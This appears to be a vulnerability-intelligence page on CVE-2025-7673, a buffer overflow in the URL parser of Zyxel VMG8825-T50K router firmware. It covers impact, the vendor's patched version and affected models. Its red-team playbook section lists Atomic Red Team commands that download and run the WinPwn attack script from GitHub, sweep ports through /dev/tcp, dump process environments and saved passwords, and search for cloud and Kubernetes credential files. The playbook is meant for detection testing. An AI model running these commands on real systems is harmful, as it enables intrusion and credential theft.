CVE-2025-7673
Overview
This vulnerability is a buffer overflow caused by improper handling of input length within the URL parser component of the zhttpd web server in Zyxel VMG8825-T50K firmware. The flaw arises from insufficient bounds checking when processing specially crafted HTTP requests, leading to memory corruption. The affected component is the URL parsing routine embedded in the zhttpd service of the firmware versions prior to V5.50(ABOM.5)C0.
Vulnerability Description
A buffer overflow vulnerability in the URL parser of the zhttpd web server in Zyxel VMG8825-T50K firmware versions prior to V5.50(ABOM.5)C0 could allow an unauthenticated attacker to cause denial-of-service (DoS) conditions and potentially execute arbitrary code by sending a specially crafted HTTP request.
Impact
An unauthenticated attacker with network access to the affected device can exploit this vulnerability to cause denial-of-service by crashing the zhttpd service or potentially execute arbitrary code with system-level privileges. No user interaction or authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation could lead to full device compromise, enabling persistent control or disruption of network services reliant on the affected Zyxel firmware devices.
Solution
Zyxel has released firmware version V5.50(ABOM.5)C0 to address this vulnerability in the VMG8825-T50K and related models. Users should upgrade to this version or later as detailed in the Zyxel security advisory available at https://www.zyxel.com/service-provider/global/en/zyxel-security-advisory-remote-code-execution-and-denial-service-vulnerabilities-cpe. The advisory provides step-by-step instructions for applying the patch and recommends immediate deployment to mitigate exploitation risks.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (26)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Emg3525-T50b Firmware | All |
cpe:2.3:o:zyxel:emg3525-t50b_firmware:*:*:*:*:emea:*:*:*
|
|
|
Zyxel | Emg3525-T50b Firmware | All |
cpe:2.3:o:zyxel:emg3525-t50b_firmware:*:*:*:*:america:*:*:*
|
|
|
Zyxel | Emg5523-T50b Firmware | All |
cpe:2.3:o:zyxel:emg5523-t50b_firmware:*:*:*:*:emea:*:*:*
|
|
|
Zyxel | Emg5523-T50b Firmware | All |
cpe:2.3:o:zyxel:emg5523-t50b_firmware:*:*:*:*:america:*:*:*
|
|
|
Zyxel | Emg5723-T50k Firmware | All |
cpe:2.3:o:zyxel:emg5723-t50k_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Emg6726-B10a Firmware | All |
cpe:2.3:o:zyxel:emg6726-b10a_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Ex3510-B0 Firmware | All |
cpe:2.3:o:zyxel:ex3510-b0_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Ex5510-B0 Firmware | All |
cpe:2.3:o:zyxel:ex5510-b0_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg1312-T20b Firmware | All |
cpe:2.3:o:zyxel:vmg1312-t20b_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg3625-T50b Firmware | All |
cpe:2.3:o:zyxel:vmg3625-t50b_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg3925-B10b Firmware | All |
cpe:2.3:o:zyxel:vmg3925-b10b_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg3925-B10c Firmware | All |
cpe:2.3:o:zyxel:vmg3925-b10c_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg3927-B50a Firmware | All |
cpe:2.3:o:zyxel:vmg3927-b50a_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg3927-B60a Firmware | All |
cpe:2.3:o:zyxel:vmg3927-b60a_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg3927-B50b Firmware | All |
cpe:2.3:o:zyxel:vmg3927-b50b_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg3927-T50k Firmware | All |
cpe:2.3:o:zyxel:vmg3927-t50k_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg4005-B50b Firmware | All |
cpe:2.3:o:zyxel:vmg4005-b50b_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg4927-B50a Firmware | All |
cpe:2.3:o:zyxel:vmg4927-b50a_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg8623-T50b Firmware | All |
cpe:2.3:o:zyxel:vmg8623-t50b_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vmg8825-B50a Firmware | All |
cpe:2.3:o:zyxel:vmg8825-b50a_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-7673 |
| zyxel.com |
GitHub CVE
vendor-advisory
|
https://www.zyxel.com/service-provider/global/en/zyxel-security-advisory-remote-code-execution-and-denial-service-vulnerabilities-cpe |